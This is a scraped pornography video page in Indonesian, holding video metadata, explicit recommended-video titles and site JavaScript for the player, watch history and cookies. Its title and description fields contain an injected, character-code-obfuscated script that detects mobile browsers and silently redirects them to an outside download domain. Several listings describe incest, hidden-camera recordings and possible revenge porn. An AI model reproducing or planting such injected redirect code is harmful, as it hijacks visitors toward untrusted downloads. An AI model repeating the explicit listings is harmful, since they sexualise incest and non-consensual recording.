</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>AV pemantauan umum pria dan wanita, khusus wanita menikah berpayudara besar! Cobalah menebak penis suami tercinta Anda dari 10 penis yang berjejer saat seks oral! Kedalaman
AV pemantauan umum pria dan wanita, khusus wanita menikah berpayudara besar! Cobalah menebak penis suami tercinta Anda dari 10 penis yang berjejer saat seks oral! Kedalaman","site_id":0,"video_url":"https://2605.v155p.com/20260615/Ud8GbYsh/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMWRlNTk0NDE0MTc4YzExMTBlZDhjYmYzMGI1NjNlY2EuanBn.cache","duration":"04:03:29","actor":[],"lastmod":1783766805,"rating":"6.0","view_count":285,"description":"Video pengawasan umum pria dan wanita, khusus untuk wanita menikah berpayudara besar! Cobalah tebak penis suami tercinta Anda dari 10 penis yang berjejer saat seks oral! Kedalaman","tag":["umumnya","Pria dan wanita pada umumnya","pria dan wanita","monitor","Payudara besar","istri","tangan kosong","seks oral","Barisan","penis","kesayangan","suami","Ayam"],"site_url":"176280","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["熟女人妻"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMWRlNTk0NDE0MTc4YzExMTBlZDhjYmYzMGI1NjNlY2EuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"一般男女监控AV 大胸人妻专用!试着从空手口交中排成一排的 10 个鸡巴中猜出你心爱丈夫的鸡鸡! ディープス","s_keywords":"一般男女监控AV 大胸人妻专用!试着从空手口交中排成一排的 10 个鸡巴中猜出你心爱丈夫的鸡鸡! ディープス","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}AV pemantauan umum pria dan wanita, khusus wanita menikah berpayudara besar! Cobalah menebak penis suami tercinta Anda dari 10 penis yang berjejer saat seks oral! Kedalaman","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzFjNjEzYWIxZjI0N2I0M2ZhZDAxY2FmNTZmZTY3MmMuanBn.cache","vod_id":19153601,"title":"Istriku yang bertubuh seksi dilatih untuk hamil oleh salah satu boneka peliharaanku... dan hanya dalam tiga hari dia menjadi ramuan sperma babi betina. (Takarazuka Mei)","lastmod":"2026-04-16","duration":"02:44:03","url":"/play/19153601.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDQ0OWU2ZTQyZWJjMGQ3ZDQ0ZWZhM2EwMWU5YjIwNjAuanBn.cache","vod_id":19000862,"title":"Pengawasan AV universal untuk pria dan wanita, eksklusif untuk mahasiswa amatir.","lastmod":"2025-03-23","duration":"02:09:49","url":"/play/19000862.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTNjNzVhMTg1NTQwZWUyZGNkNzA5MTllN2EwMWYwMmUuanBn.cache","vod_id":18995135,"title":"[Hubungan Seks Gairah Kakak dan Adik] Wajah terlihat, tubuh sempurna, sangat muda dan seksi, seks oral dengan penis besar, membiarkan adik laki-lakinya menyusu pada payudaranya, bermain dengan vaginanya, mencium mulut kecilnya, stoking hitam, berbagai dorongan yang menggairahkan dan merangsang.","lastmod":"2025-12-14","duration":"30:11","url":"/play/18995135.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzc4YjRhYTVmZWQ5MjQyZWIyMjQ2ZGY4MGNlNzFhZTAuanBn.cache","vod_id":18962239,"title":"Influencer Twitter NTR cuckold slut bitch chengse hookup private shoot~ outdoor exposure wild sex married woman sharing sincerely invites fans 3P mature woman fetishist must-have (new) _ (15)","lastmod":"2025-12-14","duration":"00:02:20","url":"/play/18962239.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDBjMTYwY2RiNzgwZWVjOTI0YmFhOTUxODliODc1YzAuanBn.cache","vod_id":19137984,"title":"Pelacur montok ini masturbasi setiap hari dan sangat menikmatinya. Dia hampir mematahkan dildo tebal ini karena terlalu sering memainkannya. Dia duduk di atasnya dan menggoyang-goyangkan tubuhnya dengan liar. Bukan dia yang disetubuhi, melainkan dia yang menyetubuhi orang lain!","lastmod":"2026-01-12","duration":"02:40:56","url":"/play/19137984.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjFlYWJmNTU4OTMzYzZmNWYzMGRmYWFmNjg4NWEwN2EuanBn.cache","vod_id":19147227,"title":"Dilraba berubah menjadi wanita menikah yang seksi.","lastmod":"2026-03-08","duration":"06:16","url":"/play/19147227.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZmVmOGU2MjdmMjBiY2UzNmNmZjI4ZTlhMDg3ZDU5ZWUuanBn.cache","vod_id":19150127,"title":"Wanita yang sudah menikah itu merasa hampa, kesepian, dan kedinginan di rumah, jadi dia mengambil dildo plastik dan memasukkannya ke dalam dirinya sendiri sampai dia mencapai orgasme.","lastmod":"2026-03-25","duration":"06:43","url":"/play/19150127.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2FlOTNhMWM2OTcyYTk5NGViYzNjNDM1OGE2YmEyY2YuanBn.cache","vod_id":18974984,"title":"[Subtitle Bahasa Mandarin] YMDD-323 Ibu Rumah Tangga yang Menggila - Inilah Ratu Payudara! Seorang istri yang cantik, montok, dan berbulu mendambakan kepuasan, yang pada akhirnya berujung pada kehancurannya! Mayu Suzuki","lastmod":"2025-12-14","duration":"02:17:10","url":"/play/18974984.html"},{"img":"https://cache.sgvafs.com/base/aHR0cDovL2hrMi4xNTViZi5jb20vMjAyMzA4MTUvY2Z5NW1QemMvMS5qcGcjZXJyMjAyNS0wMi0yNA==.cache","vod_id":19083046,"title":"“Peretasan pengawasan ✅ Bocoran nyata” Beberapa wanita cantik di sebuah desa perkotaan menyewa sebuah bungalow dan mengubahnya menjadi rumah bordil untuk menyediakan layanan makanan cepat saji. Mereka memiliki klien dari segala usia, dan bisnis mereka berkembang pesat karena paras mereka yang menarik. (3)","lastmod":"2025-12-14","duration":"00:03:00","url":"/play/19083046.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTY0MWNkYjEwMTIzOTZlYTE4OTJkYWE0MjUzN2IyZTEuanBn.cache","vod_id":18943988,"title":"RTP-022 Sekolah saya adalah sekolah khusus perempuan hingga tahun lalu, tetapi kemudian menjadi sekolah campuran, dan saya mendaftar sebagai perempuan.","lastmod":"2025-12-14","duration":"02:07:24","url":"/play/18943988.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMjEvOTI1MTNkZGY3ODkwMzVhYWMxNDdkNjcwZjhjNDgxODguanBn.cache","vod_id":19058680,"title":"Kato Ayuka, 31 tahun, seorang istri cantik \"sempurna\" yang cerdas dan misterius, yang menarik semua pria yang ingin berselingkuh dengannya. Perselingkuhan, yang memaksanya untuk menanggung suara-suara tersebut. Kato Ayuka SDNM490","lastmod":"2025-10-20","duration":"02:14:07","url":"/play/19058680.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDMvOGQ0ZDkzOGQyMzNlN2E3NDA4MTNjNzM2NGYzNDBiMDIuanBn.cache","vod_id":19027619,"title":"Selama tiga hari manajer toko pergi, terjadi beberapa pertemuan dengan wanita menikah yang tidak puas dari pekerjaan paruh waktu, termasuk hubungan satu malam dengan Hime Saki Hana (MEYD-657-C).","lastmod":"2025-04-03","duration":"01:56:49","url":"/play/19027619.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDIvYTU3NmRiOTliOWZmMDczNGYwNGE5ZGRmM2Y5NzVhMjIuanBn.cache","vod_id":19041079,"title":"NMEX005: Kisah seorang wanita cantik yang sudah menikah dengan payudara besar, bokong berisi, dan tubuh seksi yang dirayu oleh penis yang sangat besar.","lastmod":"2025-07-01","duration":"03:58:39","url":"/play/19041079.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDgvODIyOTMxNGI3MTVlNmRkOTJhN2ViOTc2MzM1MWM2MDYuanBn.cache","vod_id":19037180,"title":"KSBJ249 Seorang istri cantik terpaksa menggunakan tubuhnya untuk melunasi hutang suaminya.","lastmod":"2025-06-08","duration":"01:59:41","url":"/play/19037180.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjUvYjhlYjk0ODY5YzE0ZTVmZDNjMWMyZjY0NjlmOGYzOWQuanBn.cache","vod_id":19039888,"title":"GNS123 [Realitas Masyarakat Pengawasan] Kamera Pengawasan #Kamera Genggam #Rekaman Diam-diam dengan Kamera Ponsel #Pornografi Balas Dendam?","lastmod":"2025-06-24","duration":"05:01:22","url":"/play/19039888.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTk4Nzg2YmZhYWM3MDYzNThlZDRjNzE1OTkxMmQ5NWYuanBn.cache","vod_id":19010443,"title":"Seorang wanita menikah yang berperilaku tidak senonoh keluar untuk membuang sampah tanpa mengenakan bra ~Di pagi yang panas, dia merayu tetangganya dan berhubungan seks dengannya~ (Ayazuki Julie caribbeancom120322-001)","lastmod":"2025-03-24","duration":"59:46","url":"/play/19010443.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjgxYmFiZWNmNGMwM2Y3NDZiNzBhM2E3ZjIyZjJjMDkuanBn.cache","vod_id":19156151,"title":"Seorang pekerja konstruksi di lokasi tersebut bermain-main dengan seorang wanita muda berbokong besar dan murahan, melakukan hubungan seks tanpa kondom dan berejakulasi di dalam dirinya, lalu menyuruh wanita itu menjilat kemaluannya.","lastmod":"2026-05-02","duration":"18:07","url":"/play/19156151.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTBlOGM3M2NhM2Q2N2RlZGI4YTE0MjBmNmNjZjhkZDcuanBn.cache","vod_id":18954511,"title":"SACE-116 Seorang karyawan izakaya bertubuh seksi ditemukan di Hokkaido - lulusan SOD, Risa Shiina, pengalaman ejakulasi pertamanya.","lastmod":"2025-12-14","duration":"02:12:15","url":"/play/18954511.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvNWRlZjY2ZGQ0Y2VjZGY4NmRmOTFmOWYyMWU5NTdhNWMuanBn.cache","vod_id":19167873,"title":"Rekaman pendidikan seks oral antara ayah dan anak perempuan. Nana Minami, SOD","lastmod":"2026-07-12","duration":"02:08:04","url":"/play/19167873.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTQvNGE1OTc2YWNmYzI4M2M5OGEyNDMyY2U3MzhjOTNjZjkuanBn.cache","vod_id":19029050,"title":"Salon rumahan wanita yang sudah menikah; Wanita yang sudah menikah dinodai oleh tetangganya dari kelas bawah; Suehiro Jun; MVSD-523-C.","lastmod":"2025-04-13","duration":"02:04:12","url":"/play/19029050.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MzAvMGM4M2QwNzYyNGQyNmZhNGYwMTdkZGJhMzE0ZTI4NGYuanBn.cache","vod_id":19031479,"title":"Celana dalam thong transparan milik bos perempuan saya yang sudah menikah membuat saya gila. (Natsu Nishida, ADN-417-C)","lastmod":"2025-04-30","duration":"01:55:19","url":"/play/19031479.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTQvNzAxNmZjMTkyM2YwZmNmYzI0MjY0NjVmOGEyNDUxNTYuanBn.cache","vod_id":19112066,"title":"2022626 Seorang ahli pertukaran pasangan kelas atas mengatur sesi 4P dengan pasangan muda di akhir pekan, bermain permainan dewasa bersama, melakukan seks oral 69, dan terlibat dalam posisi menunggang kuda dan gaya doggy yang sangat cabul.","lastmod":"2025-12-14","duration":"59:47","url":"/play/19112066.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZmNkNTljNTU3MDhiZDU5NjFjZTgyMmU4ZWUyNGM0NGYuanBn.cache","vod_id":19066070,"title":"Seorang wanita berkulit putih dan murahan, dengan mata tertutup, melakukan seks oral pada seorang pria muda yang kemudian menaikinya dan menidurinya.","lastmod":"2025-12-14","duration":"03:58:10","url":"/play/19066070.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMGZjYjAwYzZmOTFiYmY1NzExOWNmMmJiYTE1MjdmZDkuanBn.cache","vod_id":19139588,"title":"Semakin lama kau memeluknya, semakin kau ketagihan. Mitsuno Maehara yang berusia 42 tahun tak bisa berhenti, ia melengkungkan punggungnya dalam ekstasi saat debut AV-nya!! Mitsuno Maehara ROE-409","lastmod":"2026-01-21","duration":"02:18:03","url":"/play/19139588.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>AV pemantauan umum pria dan wanita, khusus wanita menikah berpayudara besar! Cobalah menebak penis suami tercinta Anda dari 10 penis yang berjejer saat seks oral! Kedalaman',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}